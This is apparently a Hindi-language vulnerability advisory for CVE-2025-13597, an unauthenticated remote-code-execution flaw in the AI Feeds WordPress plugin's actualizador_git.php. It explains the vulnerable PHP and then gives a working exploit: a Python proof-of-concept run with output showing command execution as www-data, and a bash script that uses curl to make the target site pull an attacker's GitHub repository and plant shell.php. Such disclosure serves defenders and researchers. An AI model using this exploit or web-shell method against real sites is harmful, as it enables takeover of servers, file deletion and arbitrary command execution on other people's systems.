
AI Feeds <= 1.0.11 - बिना प्रमाणीकरण का मनमाना फ़ाइल अपलोड
AI Feeds वर्डप्रेस प्लगइन संस्करण 1.0.11 और उससे नीचे में actualizador_git.php फ़ाइल में एक अप्रमाणित रिमोट कोड निष्पादन भेद्यता है। यह फ़ाइल बिना किसी प्रमाणीकरण या प्राधिकरण जांच के HTTP के माध्यम से सीधे सुलभ है, जिससे अप्रमाणित हमलावरों को मनमाना GitHub रिपॉजिटरी डाउनलोड करने और प्लगइन फ़ाइलों को अधिलेखित करने की अनुमति मिलती है, जिससे रिमोट कोड निष्पादन होता है।
एक CVE-2025-13597.py प्रदान किया गया है जो एक रिमोट हमलावर द्वारा shell.php अपलोड करने और रिमोट कोड निष्पादित करने का प्रदर्शन करता है:
python3 CVE-2025-13597.py -t http://techcorp.cc -o d0n601 -r minimal-rce -k github_pat_YOURKEYHERE -c whoami
[*] Exploiting actualizador_git.php vulnerability...
[*] Downloading and installing shell from GitHub repository: d0n601/minimal-rce
Descargando d0n601/minimal-rce@main ...
Eliminando entradas extra...
Copiando archivos...
OK. Mirror aplicado en: /var/www/html/wp-content/plugins/ai-feeds
[*] Exploit executed. Checking if shell.php was created...
[*] Testing shell access...
www-data
[*] Shell should be accessible at:
http://techcorp.cc/wp-content/plugins/ai-feeds/shell.php?cmd=COMMAND
भेद्यता /wp-content/plugins/ai-feeds/actualizador_git.php में मौजूद है। यह फ़ाइल एक GitHub रिपॉजिटरी मिररिंग सिस्टम को लागू करती है जिसे बिना किसी सुरक्षा नियंत्रण के HTTP के माध्यम से सीधे एक्सेस किया जा सकता है।
प्रत्यक्ष फ़ाइल पहुंच (Line 1-17):
फ़ाइल में मानक WordPress ABSPATH जांच (if (!defined('ABSPATH')) exit;) का अभाव है जो सीधे HTTP पहुंच को रोकता है। पैरामीटर बिना सत्यापन के सीधे $_GET से पढ़े जाते हैं:
$OWNER = $_GET['owner'] ?? 'cibeles';
$REPO = $_GET['repo'] ?? 'svn_ai-feeds';
$REF = $_GET['ref'] ?? 'main';
$TOKEN = $_GET['token'] ?? 'PON_AQUI_TU_TOKEN_PAT';
टोकन सत्यापन (Line 26): एकमात्र सत्यापन जांचता है कि टोकन खाली है या डिफ़ॉल्ट मान है। कोई प्रमाणीकरण या प्राधिकरण नहीं किया जाता है:
if ($TOKEN === '' || $TOKEN === 'PON_AQUI_TU_TOKEN_PAT') {
http_response_code(400);
exit("Falta token\n");
}
GitHub API अनुरोध (Line 31, 35-58): स्क्रिप्ट उपयोगकर्ता-नियंत्रित पैरामीटर का उपयोग करके GitHub के API से एक ZIP फ़ाइल डाउनलोड करती है:
$apiUrl = "https://api.github.com/repos/{$OWNER}/{$REPO}/zipball/" . rawurlencode($REF);
curl_download($apiUrl, $zip, $TOKEN);
curl_download() फ़ंक्शन Authorization हेडर में टोकन भेजता है लेकिन रिपॉजिटरी स्वामी या सामग्री का कोई सत्यापन नहीं करता है।
ZIP निष्कर्षण और फ़ाइल संचालन (Line 144-169): डाउनलोड की गई ZIP निकाली जाती है और फ़ाइलें सीधे प्लगइन निर्देशिका में कॉपी की जाती हैं:
$zipArc->extractTo($extractDir);
$rootInsideZip = $extractDir . DIRECTORY_SEPARATOR . $entries[0];
rrcopy_into($rootInsideZip, $cwd, $PRESERVE);
rrcopy_into() फ़ंक्शन निकाले गए रिपॉजिटरी से सभी फ़ाइलों को वर्तमान कार्यशील निर्देशिका (प्लगइन निर्देशिका) में पुनरावर्ती रूप से कॉपी करता है, मौजूदा फ़ाइलों को अधिलेखित करता है।
फ़ाइल विलोपन (Line 164-165): डाउनलोड की गई रिपॉजिटरी में मौजूद नहीं होने वाली फ़ाइलें हटा दी जाती हैं:
mirror_delete_extras($cwd, $keepSet, $PRESERVE);
mirror_delete_extras() फ़ंक्शन प्लगइन निर्देशिका में किसी भी फ़ाइल को हटा देता है जो रिपॉजिटरी मेनिफेस्ट में मौजूद नहीं है।
TARGET="http://example.com"
OWNER="your_username"
REPO="minimal-rce"
TOKEN="github_pat_blablabla"
COMMAND="whoami"
echo "[*] Exploiting actualizador_git.php vulnerability..."
echo "[*] Downloading and installing shell from GitHub repository: ${OWNER}/${REPO}"
curl -s "${TARGET}/wp-content/plugins/ai-feeds/actualizador_git.php?owner=${OWNER}&repo=${REPO}&ref=main&token=${TOKEN}"
echo ""
echo "[*] Exploit executed. Checking if shell.php was created..."
echo ""
echo "[*] Testing shell access..."
curl -s "${TARGET}/wp-content/plugins/ai-feeds/shell.php?cmd=${COMMAND}"
echo ""
echo ""
echo "[*] Shell should be accessible at:"
echo " ${TARGET}/wp-content/plugins/ai-feeds/shell.php?cmd=COMMAND"